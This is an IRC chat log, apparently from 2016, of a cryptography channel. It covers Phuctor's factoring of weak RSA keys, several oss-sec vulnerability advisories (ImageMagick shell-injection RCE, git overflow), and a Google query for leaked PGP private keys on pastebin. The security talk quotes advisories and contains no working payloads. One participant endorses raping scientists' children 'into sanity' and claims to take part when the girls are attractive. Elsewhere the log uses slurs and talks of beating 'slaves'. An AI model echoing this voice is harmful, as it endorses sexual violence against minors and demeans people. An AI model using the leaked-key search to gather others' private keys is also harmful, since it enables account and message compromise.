1462444;1462369312;shinohai;^ that dude was caught with 100k in meth because he got pulled over for speeding >.< 1462445;1462369328;mircea_popescu;and what's it got to do with me ? 1462446;1462369419;shinohai;if i ever I imagined mircea_popescu getting arrested for meth, it would be that foto 1462447;1462369429;mircea_popescu;lol mkay 1462448;1462369852;mircea_popescu;and in other news, http://66.media.tumblr.com/91ec1875268cf60f161c0b47b8d71b9d/tumblr_nfk9frdlf31spdrm0o1_1280.jpg 1462449;1462371884;shinohai;News Flash: Gavin is stupid: http://archive.is/IInmC 1462450;1462372242;mircea_popescu;deedbot http://trilema.com/wp-content/uploads/2016/05/smg-ssw8.txt 1462451;1462372290;mircea_popescu;;;google site:trilema.com gavin retarded 1462452;1462372291;gribble;Error: We broke The Google! 1462453;1462372295;mircea_popescu;yaright. 1462454;1462372332;mircea_popescu;anyway, lettuce read on teh bbc the stuff they read on trilema back in january 2015 and took a year and a half to digest! clearly "the media" is relevant, influential and what was the other one. 1462455;1462372341;mircea_popescu;deedbot- http://trilema.com/wp-content/uploads/2016/05/smg-ssw8.txt 1462456;1462372354;deedbot-;accepted: 1 1462457;1462372363;mircea_popescu;ah ok. 1462458;1462372880;BingoBoingo;http://seclists.org/oss-sec/2016/q2/224 1462459;1462373337;mircea_popescu;;;google factorable.net 1462460;1462373338;gribble;Error: We broke The Google! 1462461;1462373367;mircea_popescu;ah ssh key study huh. 1462462;1462373390;mircea_popescu;.5% of tls rsa they say. 1462463;1462373444;mircea_popescu;lol dreamhost acct ; no history online. nice. 1462464;1462373472;mircea_popescu;https://factorable.net/resources.html << nothingt there. 1462465;1462373484;mircea_popescu;yet another rush job brought to you by drhoaxtoshi.labs 1462466;1462373545;mircea_popescu;o nice find BingoBoingo ! check out the paydirt quote asciilifeform : 1462467;1462373546;mircea_popescu;"When looking into this a few days ago, I found that OpenSSL 0.9.5a (and earlier?), which was current in year 2000, had a bug that would result in behavior just like this on some 64-bit platforms: http://marc.info/?l=openssl-users&m=95961024500509 " 1462468;1462373571;BingoBoingo;AHA 1462469;1462373597;phf;fwiw http://btcbase.org/log/2013-09-14#313064 1462470;1462373597;a111;Logged on 2013-09-14 15:24 asciilifeform: mircea_popescu: https://factorable.net/keycheck.html tests for some very basic weaknesses. 1462471;1462373620;BingoBoingo;In other lulz http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/#comment-56341 1462472;1462373658;mircea_popescu;phf yes, and the domain was reigstered in 2012. this doesn't serve here : they have to have history specifically in the things discussed. otherwise, it's not unlike someone applying to a job requiring 5000 hours of flight experience on the basis of his driving license from 1993. fine.. but ? 1462473;1462373691;mircea_popescu;"There are even weirder examples, though - e.g., one of Phuctor's factors is 0x115CFF61CFECFF61BE9, where we see three 32-bit limbs satisfying: limb[1] = limb[0] + limb[2] and also limb[2] is small and thus likely didn't come from a CSPRNG, but possibly from uninitialized memory." << very good point. this person's actually intelligent. 1462474;1462373867;mircea_popescu;anyway, in practical terms - so he references both. good for him. anyone interested in doing some work can look at either site and proceed. i can't find any useful item AT ALL on factorable net. not as much as a factor or anything. some vague discussions in summary of supposed finds substantiated in no manner. if this is science you can also be pope, why not. 1462475;1462373906;mircea_popescu;obviously, they're going to copy whatever phuctor publishes, which is fine but also rather obvious. 1462476;1462373921;asciilifeform;mircea_popescu: lel! 1462477;1462373928;asciilifeform;the fastgcd thing is henninger's 1462478;1462373935;mircea_popescu;yes. 1462479;1462373940;asciilifeform;it is quite old 1462480;1462373943;mircea_popescu;yes. 1462481;1462373950;mircea_popescu;but notice they put boost on the site! 1462482;1462373958;asciilifeform;waiwut 1462483;1462373962;*;asciilifeform catches up with l0gz 1462484;1462373973;mircea_popescu;how did that george costanza quote go, "but mr tuttle, consider i'm in the smaller office!" 1462485;1462373994;asciilifeform;can anyone actually reply to the seclist turd ? 1462486;1462374002;asciilifeform;namely, 'openssl WAS NEVER IN GPG' 1462487;1462374003;asciilifeform;srsly 1462488;1462374005;asciilifeform;for fucks sake. 1462489;1462374017;mircea_popescu;i wouldn't bother. let them sort it out on their own, what. 1462490;1462374024;mircea_popescu;i'm the father of the whole internetland now ? 1462491;1462374066;asciilifeform;well i'm certainly not. 1462492;1462374074;asciilifeform;can't be arsed. 1462493;1462374084;mircea_popescu;lulz instead : https://www.youtube.com/watch?v=d3NlnLySnq0 1462494;1462374086;asciilifeform;but it is interesting to watch how the beast digests. 1462495;1462374102;asciilifeform;today it is 'phuctor and hanno bock's', tomorrow - 'hanno bock's' 1462496;1462374103;asciilifeform;etc 1462497;1462374107;mircea_popescu;nah. 1462498;1462374118;asciilifeform;why not? 1462499;1462374176;asciilifeform;'A bug that not only duplicates the least significant 32 bits onto the 1462500;1462374176;mircea_popescu;pointedly not what happened there. what happened there was, "this kid made an airplane ; this other retarded kid made a playdough blob. the first kid called him retarded. let's list them in order : playdough blob ; airplane. let people fly with whichever they choose." 1462501;1462374177;asciilifeform;next 32 bits, but also keeps the rest of the limbs at all-zeroes. ' 1462502;1462374178;mircea_popescu;it's a thing. 1462503;1462374183;asciilifeform;bug!!1111111 1462504;1462374199;asciilifeform;yeah, just so HAPPENS that BUG makes fingeprint on old gpg of randint modulus key appear sAME. 1462505;1462374202;asciilifeform;forfuckssake. 1462506;1462374207;asciilifeform;bug!. 1462507;1462374220;mircea_popescu;hey, it's a seclist! what do you want them to discuss. 1462508;1462374237;asciilifeform;the malfeasance that couldn't be any plainer than this daylight ? 1462509;1462374242;asciilifeform;but, bug?! 1462510;1462374254;asciilifeform;and didja know, bugs only affect interesting users 1462511;1462374261;asciilifeform;e.g. apple security hotline 1462512;1462374263;asciilifeform;and pgp update key. 1462513;1462374273;mircea_popescu;lalala i can't hear you. what ? 1462514;1462374278;asciilifeform;well, that. 1462515;1462374370;mircea_popescu;look : they're what they are. this is pointedly not us. the difference between man and and is that ant is specialized physiologically. man can drop what he's doing and do something else, or pick a different set of tools, or approach, or whatever. 1462516;1462374373;mircea_popescu;and does THE ONE THING. 1462517;1462374387;mircea_popescu;these people are what has come to mean in english "scientists". they will do the thing they do, no matter what. 1462518;1462374421;asciilifeform;i just dun get it, most of'em aren't paid to swallow ft meade cock 1462519;1462374425;asciilifeform;not even indirectly 1462520;1462374447;mircea_popescu;nothing to do with anything. 1462521;1462374456;mircea_popescu;as children, they stuck their head in a ring. then they kept adding rings. 1462522;1462374478;asciilifeform;what ring 1462523;1462374491;mircea_popescu;now - https://asoutherngirlinsouthafrica.files.wordpress.com/2011/12/3311565227_51a8bf7bf9_o2.jpg 1462524;1462374501;mircea_popescu;an order to remove rings is equiv to a death setence, for them. 1462525;1462374519;asciilifeform;l0l! 1462526;1462374533;mircea_popescu;it is a fact. 1462527;1462374538;mircea_popescu;permanent tissue damage. 1462528;1462374611;mircea_popescu;so they'll fuck around with the rings, forever. hopefully their children will be raped into sanity. i'm doing a little towards that, if the children happen to be easy on the eyes and female. that'sall. 1462529;1462374621;mircea_popescu;the "western civilisation" may survive only in this limited sense. 1462530;1462374724;mircea_popescu;but meanwhile - no, the Βασιλεύς Βασιλέων, Βασιλεύων Βασιλευόντων is not paying any of them anything. 1462531;1462374831;mircea_popescu;mircea_popescu> and does THE ONE THING. << anT i mean, obviously. heh. 1462532;1462375503;asciilifeform;long, long ago, when i was quite unemployed, i wrote to Βασιλεύς Βασιλέων, Βασιλεύων Βασιλευόντων and offered my services 1462533;1462375507;asciilifeform;he replied with form letter. 1462534;1462375512;asciilifeform;so i unzipped and pissed. 1462535;1462375534;asciilifeform;so it boggles my mind that other folks did not do same. 1462536;1462375539;asciilifeform;why fellate hitler for phreee ? 1462537;1462375569;asciilifeform;incidentally little birdie told me recently that nsa 'TAO' pisses on american nondiscrimination laws and never employs foreign-born folk 1462538;1462375572;asciilifeform;so mega-unsurprise 1462539;1462375573;asciilifeform;but lulzy 1462540;1462375578;asciilifeform;(re 'rule of law' etc.) 1462541;1462375699;mircea_popescu;"it's what we do". 1462542;1462376005;mircea_popescu;also, afaik "american nondiscrimination laws" work strictly to protect enumerated groups. women, blacks, what have you. "foreign born white men" isn't on the list. 1462543;1462376052;asciilifeform;mircea_popescu: letter of the law is, i quote, 'RACE, COLOR, RELIGION, SEX, NATIONAL ORIGIN' 1462544;1462376058;asciilifeform;(u.s. equal opportunity commission.) 1462545;1462376072;mircea_popescu;read the fine print. 1462546;1462376077;asciilifeform;yer thinking of the private sector 1462547;1462376082;asciilifeform;usg has own proclamation 1462548;1462376084;mircea_popescu;oh oh. 1462549;1462376085;asciilifeform;that uses this verbiage. 1462550;1462376094;asciilifeform;aha. civil service. 1462551;1462376094;trinque;yes, but the ways in which "success" is "measured" involve "enough blacks/women/... ?" 1462552;1462376111;mircea_popescu;i never quite understood this "place of birth" fixation in [always B list] secret services. 1462553;1462376138;asciilifeform;ask them not me (tm) 1462554;1462376153;asciilifeform;but this is classic, 'proper aryans only!' 1462555;1462376158;mircea_popescu;eh, half the time there isn't who to ask what color to paint the walls, let alone substantial matters. 1462556;1462376178;mircea_popescu;it is classic "we're too inept to ever do anything so let's fuck around with paper all day instead". 1462557;1462376201;mircea_popescu;i could see (maybe) why you wouldn't want non-citizen grunts in the army. 1462558;1462376210;asciilifeform;except those are a dime a dozen 1462559;1462376217;asciilifeform;i had an office across the hall from no less than a major 1462560;1462376217;mircea_popescu;though that was much more of a concern back before transportation 1462561;1462376218;asciilifeform;ru-born. 1462562;1462376235;mircea_popescu;asciilifeform amusingly, 100 years ago one couldn't be ru major unless german :D 1462563;1462376245;asciilifeform;200. 1462564;1462376248;mircea_popescu;w/e. 1462565;1462376286;asciilifeform;anyway once you think about how american sigint actually works, when it works, it makes sense 1462566;1462376305;asciilifeform;(via schmoozing and 'iana committee' sabotage, which calls for pedigreed yacht rats, not maths folks, etc.) 1462567;1462376380;mircea_popescu;bullcrap. 1462568;1462376398;mircea_popescu;this "pedigreed yacht rats" exists strictly in your imagination, as a derivative product of 1970s Burda. 1462569;1462376505;mircea_popescu;[for this side of the iron curtain folks : insanely popular fashion mag because it included patterns for all items so pre-industrial girls and young women could make them at home. first western mag to be published in russia ; and in china. easily beat anything cosmo ever was or could be.] 1462570;1462376557;asciilifeform;they also exist at least in, e.g., annapolis (seaside town i passed through recently) 1462571;1462376560;asciilifeform;and elsewhere 1462572;1462376570;asciilifeform;not wholly mythical animals, these. 1462573;1462376580;asciilifeform;i watched them alive. 1462574;1462376581;mircea_popescu;sure. but not quite the same holy bible now and there as it was then. 1462575;1462376591;asciilifeform;not quite, no. 1462576;1462376614;mircea_popescu;and from the same period : http://67.media.tumblr.com/553d044a935e96986194c201744734bc/tumblr_n21vgdx3nk1r38h27o1_1280.jpg 1462577;1462376635;mircea_popescu;i can almost taste those stockings, being what EVERY girl had for a decade or so. each. and every. one. 1462578;1462376732;asciilifeform;at any rate, i can easily see why nsa would escew folks who might have actual culture 1462579;1462376740;mircea_popescu;what the fuck was that sitcom called, hm. 1462580;1462376740;asciilifeform;and non-'esl' memory etc. 1462581;1462376750;asciilifeform;*eschew 1462582;1462376781;asciilifeform;single-minded ss man must have no mother, no father, but the fuhrer 1462583;1462376784;asciilifeform;or sumthinglikethat 1462584;1462376817;mircea_popescu;also bs. 1462585;1462376863;asciilifeform;then i'm at a loss re explaining the fixation. 1462586;1462376901;mircea_popescu;it's easy. 1462587;1462376934;mircea_popescu;fuck i found it. thanks god for internets! 1462588;1462376947;mircea_popescu; http://www.imdb.com/title/tt0086793/ << there you go. 1462589;1462376985;asciilifeform;wats that 1462590;1462376997;mircea_popescu;that is the place where your "yacht rats" thing actually exists. 1462591;1462376999;mircea_popescu;nowhere else. 1462592;1462377034;phf;ahaha, how very true 1462593;1462377078;asciilifeform;bbbut it exists 1462594;1462377081;mircea_popescu;phf i'm like the emperor-god xenomorph from the future, i go "what was that bullshit tv series from the early 90s with all the boats" and wihin minutes a woman pops the name. unfuckingbelivable. 1462595;1462377082;asciilifeform;i went to school with the fuckers 1462596;1462377086;asciilifeform;saw them, alive. 1462597;1462377100;mircea_popescu;asciilifeform i suspect your chief problem is that you go to school with your own internally emulated versions of irl fuckers. 1462598;1462377119;mircea_popescu;and you demand fiction make sense, and so end up with very... unrealistic versions of said fuckers. 1462599;1462377137;asciilifeform;in which way are my emulated fuckers inaccurate ? 1462600;1462377150;mircea_popescu;in the way where they make sense in your emulation in places they make no sense irl. 1462601;1462377162;mircea_popescu;then this error compounds, because it's selective. 1462602;1462377162;asciilifeform;i mean, these kidz ~did~ have vacation houses, did end up in princetonyaleward, etc. 1462603;1462377179;mircea_popescu;then next thing you know, meta-nsa the yachting club. 1462604;1462377183;asciilifeform;sure! 1462605;1462377185;mircea_popescu;you have any fucking idea how much WORK sailing is ? 1462606;1462377198;phf;sometimes i still see these santa barbara americans though, old men with "silver hair" driving a Mercedes, or mostly on the metro here. they always look so lost and small, like they walked from the screen, "the last American hero" style. except instead of like punching the car window and discovering that it hurts, their credit card is denied or something, and they are like "what is that???" 1462607;1462377200;mircea_popescu;actually fuck that. you ever been on a yacht ? by been i mean > 6 hours. 1462608;1462377212;asciilifeform;'work' is something you do against your will. 1462609;1462377219;asciilifeform;to pay billz. 1462610;1462377226;mircea_popescu;trust me. after the 9999th winch tick, it's against your will. 1462611;1462377227;asciilifeform;next thing mircea_popescu tells us fucking is work. 1462612;1462377259;asciilifeform;at any rate, quite obviously not all 'yacht rats' take up sailing 1462613;1462377263;asciilifeform;it is, after all, exercise. 1462614;1462377274;mircea_popescu;think about it in these terms : 1. i can sail, and actually used to be / could be very good at it (right body type) ; 2. i could afford a yacht, what. 3. i don't either. ??? 1462615;1462377287;asciilifeform;mircea_popescu doesn't fly airplanes either 1462616;1462377290;asciilifeform;he has theorems. 1462617;1462377293;asciilifeform;can't be arsed. etc. 1462618;1462377299;phf;*last action hero, rather 1462619;1462377306;mircea_popescu;airplane is merely annoying to fly. too many blinkenlichten and shit. 1462620;1462377310;mircea_popescu;yachts are actually hard. 1462621;1462377320;asciilifeform;hey that bleuriot or what was it, that i sat down in, had 0 lights. 1462622;1462377339;mircea_popescu;in the air ? 1462623;1462377344;asciilifeform;on the dashboard. 1462624;1462377354;asciilifeform;none provided. 1462625;1462377359;mircea_popescu;yeah well, maybe they only turn them on when airborne to save on headlamp fluid. 1462626;1462377361;asciilifeform;it had fewer gauges than my car. 1462627;1462377364;asciilifeform;lel 1462628;1462377370;mircea_popescu;oh, the thing with the steel wires ? 1462629;1462377373;asciilifeform;aha. 1462630;1462377386;mircea_popescu;you didn't notice the anal dildo. those things are "viscerally piloted". 1462631;1462377402;asciilifeform;that was in the bench, i almost sat on it!111111 1462632;1462377404;mircea_popescu;which is worse, not better, than blinkenlichten 1462633;1462377410;deedbot;[Trilema] MiniGame (S.MG), April 2016 Statement - http://trilema.com/2016/minigame-smg-april-2016-statement/ 1462634;1462377454;*;asciilifeform will mail in his ^ tonight, it is very short 1462635;1462377577;mircea_popescu;cool. 1462636;1462377585;mircea_popescu;doing that an' fmpif tomorrow 1462637;1462377863;asciilifeform;;;later tell BingoBoingo 1462638;1462377863;gribble;(later tell ) -- Tells the next time is in seen. can contain wildcard characters, and the first matching nick will be given the note. 1462639;1462377868;asciilifeform;http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/#comment-56467 << plox fix me formatting 1462640;1462377876;asciilifeform;;;later tell BingoBoingo http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/#comment-56467 << plox fix me formatting 1462641;1462377877;gribble;The operation succeeded. 1462642;1462377880;asciilifeform;ahh. 1462643;1462377893;asciilifeform;argh 1462644;1462377901;*;asciilifeform goes to fiddle with his terminal 1462645;1462378017;mircea_popescu;http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/#comment-56468 << much better answer. 1462646;1462378101;mircea_popescu;(number one issue for the noob slaves, too, "it wasn't explained". bitch, i'm going to beat you into a pulp, what explain. figure it the fuck out, it's your ass.) 1462647;1462378142;BingoBoingo;asciilifeform: fxd 1462648;1462378204;asciilifeform;ty BingoBoingo 1462649;1462378257;asciilifeform;mircea_popescu: l0l! 1462650;1462378261;asciilifeform;mega-answer. 1462651;1462378297;mircea_popescu;schmucks. 1462652;1462378324;mircea_popescu;really, he's going to trade his "giving a shit" for me doing more work on top of the work i did that he can't do in the first place ? in what fucking world! 1462653;1462378334;mircea_popescu;i want him giving a shit like i want cold sores. 1462654;1462378464;asciilifeform;by that logic, why did i bother to write 'theory' page on phuctor ? 1462655;1462378466;asciilifeform;perhaps a literate man should already know the theory..? 1462656;1462378482;mircea_popescu;there is a difference between YOU DOING and HE DEMANDING. 1462657;1462378490;asciilifeform;ah hm. 1462658;1462378495;mircea_popescu;you can do whatever the fuck you want, including help yourself to a double serving of his wife 1462659;1462378515;mircea_popescu;he can THANK YOU FOR IT, and he can HELP. that is it. exactly strictly and absolutely it, nothing more to no degree. 1462660;1462378533;mircea_popescu;IF we ever want his political opinions on things, which is a very remote distant and unlikely if, WELL ASK FOR IT! 1462661;1462378620;mircea_popescu;somehow illiterate street urchins in all the large cities, 1916 as well as 2016 can master this basic concept before age 14. yet it eludes the byproducts of welfare state. 1462662;1462378636;asciilifeform;lel qntra ddos ? 1462663;1462378640;asciilifeform;or just 'slashdotted' 1462664;1462378650;mircea_popescu;or your terminal being weird ? 1462665;1462378654;asciilifeform;dun think so 1462666;1462378681;mircea_popescu;i see it. 1462667;1462378685;asciilifeform;i also see. 1462668;1462378687;asciilifeform;just sl000w 1462669;1462378712;mircea_popescu;pings in 1/4s. it's you. 1462670;1462378773;*;asciilifeform has deeply nfi. 1462671;1462379561;asciilifeform;curl -s http://phuctor.nosuchlabs.com/sadmods | grep -c -i "mirrored" 1462672;1462379565;asciilifeform;153 1462673;1462379601;mircea_popescu;only 5% ish fo the pile of braindamage. 1462674;1462379644;asciilifeform;but >1/2 of the phucked 1462675;1462379709;asciilifeform;i may have said this before, but, 1462676;1462379724;asciilifeform;i have a ~strong~ suspicion that there are q == nextprime(p) keys in there. 1462677;1462379727;asciilifeform;somewhere. 1462678;1462379759;mircea_popescu;first things first. the ssl keys thing - both github and search. 1462679;1462379785;asciilifeform;iirc jurov was doing something with those. 1462680;1462379794;asciilifeform;the nice thing about ssl and ssh pubkeys is that you can harvest them. 1462681;1462379797;asciilifeform;in the wild. 1462682;1462379800;mircea_popescu;with the first half, yeah. we also need a general purpose multiconverter. 1462683;1462379802;asciilifeform;(port scanner) 1462684;1462379810;mircea_popescu;anyone wanna write that ? 1462685;1462379817;asciilifeform;ask henninger ! l0l 1462686;1462379843;asciilifeform;srsly that would be lulzy 1462687;1462379845;mircea_popescu;there already exists a "various ssh formats" conversion ; need to bolt on base16/10 number and pgp format. 1462688;1462379862;mircea_popescu;asciilifeform had she had the common sense to wot i would. 1462689;1462379867;asciilifeform;technically there is no need to convert them to pgp format 1462690;1462379872;asciilifeform;i can throw them in as a specialcase. 1462691;1462379893;asciilifeform;(and does it actually make sense to phuctor them ~together~ with pgp keyz?) 1462692;1462379919;asciilifeform;in other lulz, 1462693;1462379920;asciilifeform;http://seclists.org/oss-sec/2016/q2/200 1462694;1462379953;asciilifeform;'There are multiple vulnerabilities in ImageMagick, a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild. A number of image processing plugins depend on the ImageMagick library, including, but not limited to, PHP's imagick, Ruby's 1462695;1462379954;mircea_popescu;asciilifeform yes, it makes sense. primes are primes, factors are factors. 1462696;1462379959;asciilifeform; rmagick and paperclip, and nodejs's imagemagick. 1462697;1462379961;asciilifeform;' 1462698;1462379978;mircea_popescu;asciilifeform the thing's been a blessing for hackers for many years now. 1462699;1462379992;mircea_popescu;asciilifeform by the way, do you have any kind of werker to keep adding primes to the 8ball ? 1462700;1462380028;asciilifeform;mircea_popescu: as a matter of fact i do 1462701;1462380033;asciilifeform;currently on other box 1462702;1462380053;mircea_popescu;nice. so then let all these things converge. the server ssh keys ; the user ssh keys ; the pgp keys and the 8ball werker. 1462703;1462380058;mircea_popescu;eventually we will have all factors. 1462704;1462380062;mircea_popescu;ALL factors. 1462705;1462380062;asciilifeform;it is of pretty limited use tho, expanding 8ball from 1st mil primes to 10 mil yielded... what.. 2 pops ? 1462706;1462380069;mircea_popescu;no matter. 1462707;1462380079;mircea_popescu;utility is not measured by results. 1462708;1462380082;asciilifeform;re imagemagic, this is gold: 1462709;1462380086;mircea_popescu;this is research not engineering. 1462710;1462380104;asciilifeform;''ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used 1462711;1462380110;asciilifeform;to handle https requests...' 1462712;1462380119;asciilifeform;quite like, e.g., glibc's dyn load 1462713;1462380123;mircea_popescu;aha. 1462714;1462380123;asciilifeform;and related rubbish 1462715;1462380130;asciilifeform;srsly the modus operandi NEVER changes 1462716;1462380132;mircea_popescu;same source also. 1462717;1462380133;asciilifeform;with these people. 1462718;1462380135;mircea_popescu;aha. 1462719;1462380147;asciilifeform;crab, pincers. 1462720;1462380219;mircea_popescu;asciilifeform anyway, just get the 8ball expander to work constantly, fill a core or something. 1462721;1462380231;mircea_popescu;and will be nice if 8ball is published also, say daily. 1462722;1462380259;mircea_popescu;and in other news, http://67.media.tumblr.com/a8d2965d89bd18287633be95f4abda5c/tumblr_nu9w3p7Msi1s5ycf8o1_1280.jpg 1462723;1462380325;asciilifeform;mircea_popescu: good idea. 1462724;1462380338;asciilifeform;(it working 100%, but right now shuttled manually.) 1462725;1462380374;mircea_popescu;and finally, you do have a knob to fill in factors into 8 ball manually ? if not add it in 1462726;1462380384;mircea_popescu;sooner or later someone ELSE is going to report an actual factor. 1462727;1462380415;asciilifeform;this was part of my plan for the rewrite 1462728;1462380419;asciilifeform;and defo next on featurelist. 1462729;1462380424;mircea_popescu;(will be particularly useful to check/disprove shit coming from hanno bock, http://trilema.com/2016/psa-hanno-bock-still-a-deceitful-shitbag/ ) et all. 1462730;1462380432;asciilifeform;incidentally there are perennially privkeys floating on 'pastebin' etc. 1462731;1462380438;asciilifeform;these oughta be edible. 1462732;1462380510;mircea_popescu;;;google site:pastebin.com "BEGIN PGP" 1462733;1462380511;gribble;Error: We broke The Google! 1462734;1462380514;mircea_popescu;eh ffs. 1462735;1462380543;BingoBoingo;http://www.medicaldaily.com/heroin-epidemic-organ-transplants-wait-list-384428 1462736;1462380544;mircea_popescu;anyone wanna make his bot google ? trinque ? phf ? who else had bots ? 1462737;1462380580;asciilifeform;https://www.google.com/#tbs=li:1&q=%22-----BEGIN+PGP+PRIVATE+KEY+BLOCK-----%22+site:pastebin.com 1462738;1462380589;asciilifeform;^ seems to wurk 1462739;1462380603;asciilifeform;about 1/2 of them trollage 1462740;1462380608;asciilifeform;2/3 of the remainder - homework 1462741;1462380617;asciilifeform;and 1 or 2 'doxings'. 1462742;1462380628;mircea_popescu;i tried one, we already had it. 1462743;1462380647;mircea_popescu;http://phuctor.nosuchlabs.com/gpgkey/234D1BA9CAB9C80F5BC3837F50F2AAF5BE30EAB7A4D7E0F722F5D3C2B857CB0A << no wait, we didn't have it. right ? 1462744;1462380669;asciilifeform;well apparently not 1462745;1462380672;asciilifeform;where's the priv 1462746;1462380822;mircea_popescu;asciilifeform what's the source for the currently waiting keys ? 1462747;1462380826;asciilifeform;http://seclists.org/oss-sec/2016/q2/34 << lel... 'systemd-journald from systemd v213 started creating world readable journals, allowing local users to read sensitive system log entries.' 1462748;1462380842;mircea_popescu;lol 1462749;1462380847;asciilifeform;mircea_popescu: there is still 3 or 4 days worth of old sks archive, being pumped in. 1462750;1462380850;punkman;https://www.gwern.net/Black-market%20archives << possibly good source for keys not on keyservers 1462751;1462380863;asciilifeform;punkman: aha! 1462752;1462380932;asciilifeform;mircea_popescu: no key waits for >1h. 1462753;1462380941;mircea_popescu;ah cool. 1462754;1462380949;asciilifeform;at the end of a werker run, all keys that were part of the run, are marked nonwaiting. 1462755;1462380949;mircea_popescu;so we're running out of fuel, basically. 1462756;1462380952;asciilifeform;aha. 1462757;1462380960;punkman;there are a couple companies that do comprehensive crawls of pastebins, could be worth looking into 1462758;1462380961;asciilifeform;i'ma saw apart a recent sks dump this weekend. 1462759;1462380966;asciilifeform;and pump. 1462760;1462380982;mircea_popescu;great read punkman 1462761;1462380985;asciilifeform;will also look into what it'd take to real-time eat sks. 1462762;1462380990;mircea_popescu;would you download the thing and take out the keys ? 1462763;1462380995;asciilifeform;well yeah 1462764;1462380996;asciilifeform;how else 1462765;1462381002;mircea_popescu;asciilifeform i was asking him. 1462766;1462381006;asciilifeform;ah 1462767;1462381087;punkman;hmm maybe, got a server with space for it? 1462768;1462381106;asciilifeform;oh hey! 1462769;1462381114;asciilifeform;re yesterday's thread re dlls and gpg4win: 1462770;1462381115;asciilifeform;http://seclists.org/oss-sec/2016/q2/97 1462771;1462381119;asciilifeform;mircea_popescu ^^^ mega-l0l 1462772;1462381123;mircea_popescu;asciilifeform actually i want this archive anyway, feed the wot into the wot. 1462773;1462381211;mircea_popescu;oh it's gwern 1462774;1462381287;mircea_popescu;asciilifeform nicely improved error message for bad keyts. 1462775;1462381321;mircea_popescu;punkman what'd you want, an acct and 5 or so tb ? 1462776;1462381332;asciilifeform;mircea_popescu: which, the eggog ? 1462777;1462381414;mircea_popescu;asciilifeform yeah, "no moduli" 1462778;1462381427;asciilifeform;mircea_popescu: lel, i never changed it 1462779;1462381439;asciilifeform;it always distinguished between 'not a key' and 'key, but no rsa' 1462780;1462381568;asciilifeform;http://phuctor.nosuchlabs.com/gpgkey/72AEE8BABBF4652BC2531BE414B2417B5A38128BAA8C1E6B4BEF9F4D0D026A7B << lel, fyodor of seclist 1462781;1462381574;asciilifeform;speaking of the rsa-less. 1462782;1462381600;asciilifeform;( from http://insecure.org/fyodor/gpgkey.txt ) 1462783;1462381670;punkman;mircea_popescu: 3tb should probably do 1462784;1462381821;asciilifeform;http://seclists.org/oss-sec/2016/q1/89 << lulzy, for 'golang' aficionados. somehow i missed this 1462785;1462381828;asciilifeform;(perhaps through not giving a fuck re shitlangs) 1462786;1462381920;mircea_popescu;asciilifeform ah, by the reaction of fromphuctors i thought it was opaque 1462787;1462382077;asciilifeform;last bit of lulz from this dig, 1462788;1462382078;asciilifeform;http://seclists.org/oss-sec/2016/q1/178 1462789;1462382102;asciilifeform;^ usg retreating from pushing ecc claptrap ?! 1462790;1462382156;mircea_popescu;asciilifeform "ecc is dead - not because mp said ecc is dead, but for other reasons altogether" 1462791;1462382158;mircea_popescu;hurr durr. 1462792;1462382173;mircea_popescu;this makes... how many by now ? 3rd major trend i killed, after "moore law" and so on ? 1462793;1462382184;asciilifeform;ehh can't resist, another, http://seclists.org/oss-sec/2016/q1/266 1462794;1462382193;asciilifeform;^ strike yet another crypto lib off the list 1462795;1462382226;mircea_popescu;asciilifeform see, you should be upset the world's not beating down your door with job offers post phuctor ? what should i say ? that why is not every presidential wreath in the world mailed to me ? 1462796;1462382247;asciilifeform;lel! 1462797;1462382249;mircea_popescu;in a sea of "who could have predicted", the man who does predict is but amused. 1462798;1462382279;asciilifeform;i am very amused!111 on my stake. 1462799;1462382329;mircea_popescu;totally puts a stake through the heart of the "fair price" nonsense also. what is this "fair price", to hire the man that knows the future ? the causes of the past ? 1462800;1462382339;mircea_popescu;"science of economics", so much drivel. 1462801;1462382405;mircea_popescu;lol @go bignum. 1462802;1462382422;asciilifeform;predicting future, it turns out, is not so hard. 1462803;1462382440;asciilifeform;e.g. trb and dns. 1462804;1462382464;phf;oh remember how we were going to have a golang gossip 1462805;1462382474;mircea_popescu;vaguely. 1462806;1462382488;asciilifeform;i remember very well. 1462807;1462382524;asciilifeform;and how cruel, how unreasonable, the beating i administered must've seemed to audience. 1462808;1462382534;mircea_popescu;punkman turns out i don't have such a wonder ;/ you can have 2tb right now, though. should be ok, nevertheless, i think, seeing how it's not a single file/item, but a collection. 1462809;1462382603;trinque;asciilifeform │ and how cruel, how unreasonable << notrly, deedbot went from golang to CL for example 1462810;1462382608;trinque;what a coincidence! 1462811;1462382614;asciilifeform;http://seclists.org/oss-sec/2016/q1/450 << we luuuuuuv amd!111111 1462812;1462382650;asciilifeform;''Under certain conditions it allows unprivileged users running under qemu VMs to affect the host Linux kernel in a problematic manner...' 1462813;1462382653;asciilifeform;' 1462814;1462382827;asciilifeform;http://seclists.org/oss-sec/2016/q1/645 << run moar git. 1462815;1462382834;asciilifeform;'server and client side remote code execution through a buffer overflow in all git versions before 2.7.1' 1462816;1462382889;asciilifeform;at any rate, enough zoo for one day. 1462817;1462383303;mircea_popescu;$rated gwern 1462818;1462383304;deedbot;mircea_popescu has not rated gwern. 1462819;1462383310;mircea_popescu;$key gwern 1462820;1462383314;deedbot;http://wotpaste.cascadianhacker.com/r/e976c253-23b8-4c89-b9e1-bb51421051ec/ 1462821;1462383411;mircea_popescu;damn these people... 1462822;1462383426;mircea_popescu;so what does http://www.btcalpha.com/wot/user/gwern/ say ? Fingerprint 85F99FDE8F20898F59BCDF32BE90E8E4F7E5D682 1462823;1462383435;mircea_popescu;but what does the site say ? PGP key (mirror; fingerprint: 89C588CC; my old key, F7E5D682, is no longer usable) 1462824;1462383443;mircea_popescu;and why am i at this point to believe this man is anything but an impostor ? 1462825;1462383950;mircea_popescu;asciilifeform o you know what ? wanna spider keybase ? 1462826;1462384214;ben_vulpes;my morning: http://wordpress.shithouse.tv/ 1462827;1462384748;mircea_popescu;am i the only one to have ever asked for "jiztory" in a terminal ? 1462828;1462384908;mircea_popescu;asciilifeform meanwhile : keybase keys confirmed new via http://phuctor.nosuchlabs.com/gpgkey/1D7AB955D7C3D6DA6952F80879F3F89B16E367E31BA8067853DEFF66389A1FE7 